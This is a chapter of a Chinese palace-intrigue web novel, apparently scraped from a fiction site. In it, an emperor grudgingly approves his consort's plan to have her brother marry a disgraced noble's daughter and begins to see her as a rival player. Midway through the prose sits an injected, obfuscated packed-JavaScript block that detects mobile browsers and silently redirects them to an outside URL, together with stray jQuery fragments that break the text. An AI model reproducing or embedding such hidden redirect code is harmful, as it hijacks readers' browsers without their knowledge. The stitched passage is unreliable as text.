33. 对弈

作品:《朱门咸鱼

    “回皇上,”她的声音清凌凌的,在寂静的殿中格外清晰,“臣妾以为,圣旨已下,婚约已定。冯氏有罪,当依国法;然冯氏女无辜,既已许配夏家,便是夏家的人。”


    她顿了顿,每个字都咬得清晰:


    “臣妾兄长,愿依圣旨,如期迎娶冯氏二小姐。”


    萧翊的耳边,有刹那的寂静。


    不是真的寂静——


    殿外的风声,炭火的噼啪,冯国公压抑的抽气,皇后骤然紧绷的呼吸……所有的声音都在。


    但他听不见了。


    他只记得她最后那句话,在脑子里一遍遍回响,“如期迎娶。”


    她说什么?


    冯家刚刚被坐实谋害皇嗣,攀诬藩王,顷刻间大厦将倾。


    冯国公削爵下狱,皇后被夺印禁足,冯瑚容貌尽毁。


    这个时候,正常人该怎么做?


    该惶恐叩首,泣求皇上收回成命,言夏家清白门第,不敢与罪臣之后结亲。


    该明哲保身,迅速切割,唯恐沾染半分晦气。


    这才是他认知里,后宫嫔妃该有的反应——惊慌,无措,依赖他的决断,等待他的“恩典”。


    可夏清圆在说什么?


    她要她的兄长,娶一个“容貌尽毁”、家族倾覆的罪臣之女?


    萧翊的第一反应是荒谬。


    随即,一股极其陌生的情绪涌上来——不是愤怒,不是失望,而是一种……被精准预判后,棋路被打乱的怔忡。


    他忽然想起那日在临华宫,她扯着他袖子说“反正臣妾就是不想让大哥娶那二小姐”时的模样。娇憨,执拗,带着点被宠坏的天真。


    他当时觉得她不懂事,看不清大局。


    可现在……


    她不是不懂。


    她是太懂了。


    她不是要救冯瑚——新娘是谁,根本不重要。


    她是要吞下冯家倒台后,残留的政治遗产。


    冯国公府三朝积累,树大根深。即便家主下狱,家产抄没,可那些盘根错节的门生故旧、遍布朝野的暗线人脉、勋贵圈子里残余的影响力……不会一夜之间消失。


    这些东西,像深埋地下的根须,表面看不见,却依然有生命力。


    而她要的,就是借着“冯家姻亲”这个名分,让夏家的根,悄无声息地扎进那片刚刚被雷霆犁过的土壤里。


    好大的胃口。


    萧翊的手指,在袖中无意识地蜷缩了一下。


    她是从方才太后给冯国公府求情时,开始重新思考冯夏联姻的可能性的吗?


    或许更早——


    她大概早就知道冯国公府谋害皇嗣,所以那夜在临华宫,以不愿高攀为托词,演出了那样一场足以骗过他的、属于“宠妃”的任性?


    她今日主动要来御书房,根本不是因为所谓的“担忧”。


    她是来收割的。


    她要当着他的面、当着三司重臣、当着太后、程序正义地,当着这个王朝权力核心的所有人——宣布。


    宣布她要从这场他亲手点燃的焚天大火里,扒出冯家烧焦的骨架,敲骨吸髓,啜饮最后的养分。


    一股冰冷的怒意瞬间窜上他的脊柱,不是纯粹的愤怒。那里面混杂着更黑暗、更灼人的东西——


    像是看着自己精心豢养的雀鸟,忽然撕开柔软的羽毛,露出底下森白的、属于鹰隼的利爪。


    你凭什么?


    这个念头第一次如此清晰地浮现在萧翊脑海。不是帝王的威权诘问,而是一种近乎私密的、被冒犯的惊怒。


    他给她的还不够多么?


    恩宠,位份,家族的擢升,甚至容忍她那些不合时宜的娇憨与逾矩。他以为她该满足,该感恩,该在他的羽翼下安分地做个“特别”的宠妃。


    可她竟然敢——


    敢用他教给她的聪慧,来算计他。


    敢用他纵容的“特别”,来试探他的底线。


    敢在他刚刚碾碎冯家、震慑朝野、将权柄攥得更紧的这个当口,像个精明的商人般,伸手索要“战利品”。


    而且她要的,不是金银珠宝,不是虚名荣耀。


    是冯家倒塌后,那些隐形的、黏连着血肉骨髓的根系。


    是那些散落各地的门生故吏,是宗亲世家一荣俱人、一损俱损的“自己人”印记,是即便抄家灭族也无法一刀斩断的、属于百年世家最后的“政治遗产”。


    她在为夏家铺一条后路。


    不,不是后路——是血包。


    她在怕,怕孤臣被党争耗尽。


    萧翊忽然想起那夜在临华宫,她扯着他袖角,眼里含着泪光说“反正臣妾就是不想”。


    那时他只觉得她天真任性,需要被敲打,需要明白这宫里的规矩。


    现在他才明白,那不是任性。


    那是试探。


    她在试探他对夏家的底线,试探他对她“任性”的容忍度,试探他…究竟把她放在棋盘的哪个位置。


    他的答案大概没能让她满意。


    所以,她也不再在棋盘上任他摆布。


    她要上桌,对弈。


    这个认知带来的不是愤怒,而是一种带着战栗的亢奋。


    像独自执棋半生的弈者,看见对面空无一人的位置,终于坐下一个影子。


    殿内的空气凝固着。


    吴全顺的呼吸几乎停了,额角渗出细密的冷汗。


    冯国公瘫在地上,浑浊的眼睛死死盯着夏清圆,像是濒死的兽看着最后一滴水源。


    萧翊能感觉到太后投来的目光,那目光里有审视,有估量,或许还有一丝不易察觉的——幸灾乐祸。


    她在看,看这位年轻的帝王,如何处置他“宠爱”出的、反噬自己的猎物。


    可惜,太后还是不了解他。


    萧翊缓缓抬眼,目光落在夏清圆脸上。


    他看得极仔细,像第一次见她。看她的眉骨走向,看她鼻梁挺直的弧度,看她唇瓣微抿时那道近乎锋利的线条。


    然后,他看见了。


    在她平静无波的眼眸深处,在那片伪装恭顺的表象之下——有一簇极细微、却烧得灼人的火。


    那是野心。


    那是他也有的,属于掠食者的野心。


    她在赌。


    赌他不会破坏她的“道德正义”,赌他会对世家留一线生机,赌他或许……会欣赏这份胆魄。


    该死。


    他确实欣赏。


    这种欣赏仿佛临水自照。


    他欣赏她的眼光,欣赏她的算计,欣赏她抓住时机时那种孤注一掷的果断。


    更奇怪的是,他感到一种被刺痛后的快意。


    像是长久以来独自背负的重担,忽然有人试图分担——哪怕这分担的方式是抢夺,是算计,是背叛。


    “婉昭仪。”他终于开口,声音比想象中更平稳,却带着一种金属刮擦琉璃的质感,刮得人耳膜生疼,“你兄长娶的,将是一个罪臣之女。”


    他顿了顿,像是通过问话,来确定他对她的揣摩:


    “夏家清名,来之不易。你父亲在朝堂上晒金明志,为的就是‘清白’二字。如今你要夏家,娶一个谋害皇嗣、攀诬亲王的罪臣之女——”


    他身体微微前倾,目光如淬了毒的钩子,锁住她的眼睛:


    “你让天下人,如何看夏翀?”


    这是诛心之问。


    将一场政治算计,拔高到道德与家族存续的层面。


    夏清圆的睫毛颤了颤。


    极轻微的颤动,像蝴蝶濒死时最后一下振翅。


    然后,她抬起了眼——


    四目相对。


    萧翊在那双眼睛里,第一次看见了毫不掩饰的、冰冷而清醒的对峙。


    “正因父亲一生清正,夏家才更不能做背信弃义之事。”她的声音依旧平稳,却多了一丝难以察觉的、针锋相对的锐利,“婚约是天家所赐,若因岳家获罪便毁约,世人不会说冯家有罪当诛,只会说夏家趋炎附势,见风使舵。”


    她顿了顿,一字一顿:


    “清名易损,难建。父亲可以晒金明志,因此,兄长……也不能背负‘拜高踩低’的污名。”


    她在偷换概念。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928142|192431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>将一场赤裸的权力交易,包装成“守信重诺”的道德坚持。


    漂亮。


    聪明。


    狡猾得让人……心头发痒。


    “既如此,”萧翊慢慢向后靠回椅背,这个动作让他看起来放松了些,可眼底的寒光却愈发慑人,“朕准了。”


    那三个字落下时,殿内响起几不可闻的抽气声。


    冯国公的眼泪瞬间涌了出来,不是演戏,是劫后余生的瘫软。


    夏清圆依旧垂着眼,可萧翊看见她交叠在身前的双手,指节微微泛白。


    她在紧张。


    这个认知让萧翊心头掠过一丝奇异的满足。


    “但,”他补充,声音陡然转厉,像鞭子抽破空气,“冯国公削爵下狱,冯家抄没家产。其女出嫁,不得以冯国公府名义,不得奢靡逾制,不得——”


    他停顿,目光如刀,刮过她每一寸表情:


    “——借国公府旧势,行不轨之事。”


    这是警告。


    也是画下的界限。


    你可以吞,但不能消化得太快,不能长得太大,更不能……反过来咬饲主的手。


    夏清圆缓缓跪地,额头触上冰冷的金砖:


    “臣妾谨记。”


    萧翊没有叫起。


    他看着她伏地的身影,那截白皙的后颈在绯色衣领的映衬下,脆弱得仿佛一折就断。


    可他知道,那脆弱是假的。


    是诱饵。


    是陷阱最外一层甜美的糖霜。


    他忽然很想屏退众人,摸摸她,感受她因为恐惧——或者因为别的什么——而产生的颤抖。


    但他没有动。


    他只是看着她,用一种全新的、剥离了所有温情滤镜的目光,重新评估这件他亲手移栽、如今却开始长出倒刺的小花。


    “十日后完婚。”他最终说,声音恢复了帝王的平淡,“退下吧。”


    夏清圆起身,后退,转身。


    每一步都平稳得体,无可挑剔。


    可就在她即将踏出殿门的刹那,萧翊忽然开口:


    “婉昭仪。”


    她停步,回身,垂首:“臣妾在。”


    萧翊盯着她,看了很久。久到殿内的空气都凝成了冰,久到太后都微微蹙起了眉。


    然后,他极轻、极缓地问了个无关紧要的问题:“朕赏你的那顶珍珠翟冠,怎么不戴了?”


    可夏清圆的背脊,几不可察地僵了一瞬。


    她抬起头,目光第一次出现了细微的闪躲,但很快又稳住了:


    “翟冠华贵,今日事态紧急,臣妾……未来得及。”


    谎话。


    萧翊眼底掠过一丝冰冷的笑意。


    “三日后,你兄长大婚,朕准你出宫观礼,记得戴上。”萧翊缓缓道。


    这是恩典。


    也是枷锁。


    是提醒她——你今日得到的一切,包括此刻站在这里与我博弈的“资格”,都是我给的。


    夏清圆的嘴唇抿紧了。


    极细微的动作,但萧翊看见了。


    他心头那簇暗火,烧得更旺了些。


    “谢皇上。”她最终说,声音很轻。


    然后,她转身,消失在了殿外漫天的风雪里。


    风波告一段落。


    萧翊独自坐在御案后,随手用凉透了的茶水熄了炭火,放纵寒意从四面八方渗透进来。


    他拿起案上那枚羊脂玉扳指,对着窗外惨白的天光,仔细地看。


    扳指内壁的缠枝莲纹,在光线下清晰得狰狞。


    他忽然想起那日她把这枚扳指塞进他掌心时,指尖的温度。


    温热的,带着一点颤抖的,属于“夏清圆”的温度。


    现在,那温度凉了。


    可这股凉意,却奇异地、一点一点,点燃了他心底某种沉寂已久的暗火。


    他想看她算计成功时眼里闪过的光。


    想看她被拆穿时的躲闪。


    想看她在他掌心挣扎、反抗、最终不得不屈服——或者,最终与他并肩,共同抵抗被权力蚕食的阵痛。